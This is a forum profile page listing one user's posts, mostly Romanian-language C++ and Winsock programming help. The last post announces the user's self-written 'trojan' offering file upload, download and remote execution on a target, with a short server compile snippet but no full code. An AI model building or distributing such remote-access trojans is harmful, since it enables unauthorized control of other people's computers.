Jump to content

R3AL

Members
  • Posts

    12
  • Joined

  • Last visited

Recent Profile Visitors

The recent visitors block is disabled and is not being shown to other users.

R3AL's Achievements

Newbie

Newbie (1/14)

10

Reputation

  1. R3AL

    Fun stuff

    Java programming at its best
  2. R3AL

    Fun stuff

    https://www.destroyallsoftware.com/talks/wat
  3. R3AL

    Provocare PHP

    C++ # include <iostream> # include <iomanip> int main(int argc, char const *argv[]) { int n=4; std::cin>>n; int **table = new int*[n]; for(unsigned i = 0; i < n; ++i ) table[i] = new int[n]; for(unsigned i = 0; i < n; ++i ) { table[i][n-1] = 1; table[n-1][i] = 1; } for(int i = n-2; i >= 0; --i ) for(int j = n-2; j >= 0; --j ) table[i][j] = table[i+1][j] + table[i+1][j+1] + table[i][j+1]; for(unsigned i = 0; i < n; ++i ) { for(unsigned j = 0; j < n; ++j ) std::cout<<std::setw(n)<<table[i][j]; } for(unsigned i = 0; i < n; ++i ) delete[] table[i]; delete[] table; return 0; }
  4. R3AL

    Ajutor Winsock (C)

    Pur si simplu dai send sirului de caractere Ceva de genu: char buff[] = "test"; send(socket, buff, sizeof(buff), 0);
  5. Schimba Project/Solution proprieties -> Configuration proprieties -> C/C++ -> Precompiled headers -> Precompiled header din "Yes" in "Not using precompiled headers"
  6. #include <fstream> #include <vector> int main() { std::ifstream in("tema.in"); std::vector<int> nr; while(1) { int t; in>>t; nr.push_back(t); if(in.eof()) break; } in.close(); std::ofstream out("tema.out"); for(int i=0;i<nr.size();i+=10) { for(int j=i;j<i+10;j++) { if(j>nr.size()-1) break; out<<nr[j]<<" "; } out<<std::endl; } out.close(); }
  7. Foloseste un backgroundWorker Cheama functia ta/muta continutul ei in backgroundworker_DoWork iar pentru a-l porni scrii backgroundworker->RunWorkerAsync()
  8. Acesta este primu meu "trojan". Datorita functiilor send si run nu cred ca altele isi mai aveau rostu. Features: -puteti uploada, downloada si rula fisiere pe target DOWNLOAD SCREENSHOT Feedbackul este binevenit, la fel si sugestiile ps: compilat cu Visual Studio 2010 si testat pe Win 7 x64 si Win XP x32 edit: era sa uit, pentru compilarea serverului: #pragma comment(lib,"rainsword_lib.lib") #include <rainsword_lib.h> iar in main adaugati (inlocuind PORT cu cel care il doriti bineinteles) : rainsword_server::create(PORT); Update: cateva buguri rezolvate
×
×
  • Create New...